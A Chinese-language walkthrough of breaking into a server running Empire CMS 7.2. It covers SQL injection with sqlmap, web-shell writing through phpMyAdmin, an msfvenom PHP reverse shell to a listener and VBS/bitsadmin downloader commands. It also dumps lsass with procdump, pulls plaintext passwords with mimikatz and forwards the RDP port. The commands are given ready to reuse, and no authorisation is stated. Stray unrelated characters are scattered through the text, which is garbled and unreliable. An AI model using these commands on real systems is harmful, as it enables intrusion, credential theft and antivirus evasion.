信息收集
弱口令登錄失敗。
網(wǎng)站使用帝國cms7.2
弱口令登錄失敗,使用帝國cms的通用漏洞鲜侥,失敗天揖。
在知道絕對路徑的情況下夺欲,dba權(quán)限的sql注入可以直接執(zhí)行os-shell命令拿shell。
掃描開放端口今膊,反查域名些阅,尋找最可能存在sql注入的網(wǎng)站。
經(jīng)過多次嘗試斑唬,發(fā)現(xiàn)了一個(gè)聯(lián)合查詢型市埋。且為dba權(quán)限的注入點(diǎn)黎泣。
sql注入的利用
已知絕對路徑,且注入點(diǎn)為dba權(quán)限缤谎,在平時(shí)的大多數(shù)滲透中抒倚,就已經(jīng)意味著getshell了。
然而坷澡,在這次滲透中托呕,os-shell并沒有執(zhí)行成功。
經(jīng)過多次嘗試都以失敗告終频敛,猜測某種waf起了作用项郊。
嘗試使用sqlmap的寫文件命令(--file-write 本地文件地址 --file-dest 寫入地址),直接寫入文件到網(wǎng)站目錄下斟赚。
沒有找到文件呆抑,多次嘗試sqlmap無法成功寫入文件。
嘗試使用sql-shell執(zhí)行sql語句寫入文件汁展。
失敗鹊碍,顯示不支持非查詢語句。
肉到嘴邊吃不到呢食绿,這感覺不好侈咕,sqlmap中所有能getshell的方法,都試的差不多了器紧,依然沒有成功耀销。
這時(shí)突然想起了網(wǎng)站存在phpmyadmin,也許可以通過phpmyadmin拿shell铲汪。
不知道數(shù)據(jù)庫密碼熊尉,需要通過sqlmap的--file-read命令讀取網(wǎng)站的配置文件。一般情況下網(wǎng)站配置文件的位置是沒法確定的掌腰,然而狰住,網(wǎng)站使用了帝國cms,一般配置文件的位置是固定的齿梁。帝國cms7.0后配置文件在e/config/config.php
成功讀取到網(wǎng)站配置信息催植。
phpmyadmin的利用
使用獲取到的密碼登錄phpmyadmin
執(zhí)行sql語句寫入文件。
執(zhí)行成功勺择。
訪問生成的文件创南,可以訪問到,使用菜刀連接失敗省核。
懷疑是木馬沒有免殺稿辙,或者菜刀流量被攔截。
換上免殺馬气忠,使用插件hackbar執(zhí)行一句話邻储,和加密中轉(zhuǎn)shell流量都以失敗告終未桥。
經(jīng)過多次嘗試對比,發(fā)現(xiàn)腳本木馬只能夠本地執(zhí)行芥备,無法遠(yuǎn)程執(zhí)行命令冬耿。
<?php echo `ipconfig`?>
生成一個(gè)本地執(zhí)行ipconfig的腳本文件,并把內(nèi)容輸出出來萌壳。
訪問該文件亦镶,成功訪問到輸出的ip信息。
猜測正向連接無法使用袱瓮,只能使用反向連接缤骨,把對方的shell反彈到公網(wǎng)。
把反彈腳本轉(zhuǎn)化為16進(jìn)制尺借。
開啟nc監(jiān)聽绊起,訪問生成的文件。
反彈成功燎斩,且為最高權(quán)限虱歪。
但是進(jìn)程中發(fā)現(xiàn)存在360全家桶。無法添加用戶栅表。只能嘗試讀取當(dāng)前管理員的密碼笋鄙。
且上傳Mimikatz無法做到免殺。
采取另一種方案Procdump+Mimikatz:
Procdump由微軟官方提供:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
分為2步:
1怪瓶、導(dǎo)出lsass.exe進(jìn)程
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
2萧落、使用mimikatz破解導(dǎo)出的文件lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
因此現(xiàn)在需要上傳procdump64.exe生成lsass.dmp文件,下載下來在本地讀取密碼洗贰。
在只能輸入dos命令的情況下一般通過2種方法下載文件找岖。
1、創(chuàng)建downfile.vbs下載文件敛滋。
echo set a=createobject(^"adod^"+^"b.stream^"):set w=createobject(^"micro^"+^"soft.xmlhttp^"):w.open^"get^",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 >> downfile.vbs
cscript downfile.vbs http://192.168.40.13:9090/fileLibrary/5d5X9mSTZXjH9VlhXNN/x.txt D:\\tomcat8.5\\webapps\\x.jsp
2许布、使用bitsadmin命令
bitsadmin /transfer n http://www.xx.com/code.jpg c:\users\sdyp\desktop\ff.jpg
首先利用第一種方法下載,上傳vbs文件失敗了矛缨,360全家桶果然可以爹脾。vps被當(dāng)成病毒被殺了帖旨。
使用第二種方法箕昭,也失敗了,不知道是由于什么原因失敗的解阅。
在dos命令無法滿足我的情況下落竹,msf出場了。
msf的利用
由于到目前為止货抄,只能通過數(shù)據(jù)庫進(jìn)行文件的上傳述召。
因此需要用到php的反彈木馬朱转,再加上360全家桶不會去檢查網(wǎng)站文件的安全性,省了免殺處理的環(huán)節(jié)积暖。
php反彈木馬使用php/meterpreter/reverse_tcp模塊
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.2.146 LPORT=1234 -f raw >text.php
轉(zhuǎn)化為16進(jìn)制藤为,使用phpmyadmin上傳,開啟監(jiān)聽夺刑,訪問上傳的文件缅疟。
成功接收到了會話。
使用meterpreter的上傳命令上傳procdump64.exe到網(wǎng)站根目錄
使用procdump64.exe -accepteula -ma lsass.exe lsass.dmp命令導(dǎo)出lsass.dmp文件到根目錄下載下來遍愿。
使用內(nèi)核相同到虛擬機(jī)運(yùn)行mimikatz存淫,得到管理員明文的賬戶密碼。
到這一步已經(jīng)得到了管理員到賬戶密碼沼填,下一步需要把遠(yuǎn)程連接服務(wù)轉(zhuǎn)發(fā)出來桅咆。
使用tasklist /svc命令查看TermService的進(jìn)程號。
使用netstat -ano查看進(jìn)程號對應(yīng)的端口為5277
確定5277為修改后遠(yuǎn)程桌面服務(wù)端口坞笙。
在meterpreter中使用端口轉(zhuǎn)發(fā),轉(zhuǎn)發(fā)5277到本地的5555端口岩饼。
portfwd add -l 5555 -p 5277 -r 192.168.100.208
遠(yuǎn)程桌面連接本地的5555端口,輸入得到的賬戶密碼薛夜,登錄成功忌愚。
證實(shí)了服務(wù)器的防護(hù)很多,vbs文件被殺了却邓!終于滲透成功硕糊,總歸只能說網(wǎng)站的運(yùn)行權(quán)限太高了,如果只是普通用戶腊徙,想要拿下這臺服務(wù)器可真的是太難了简十。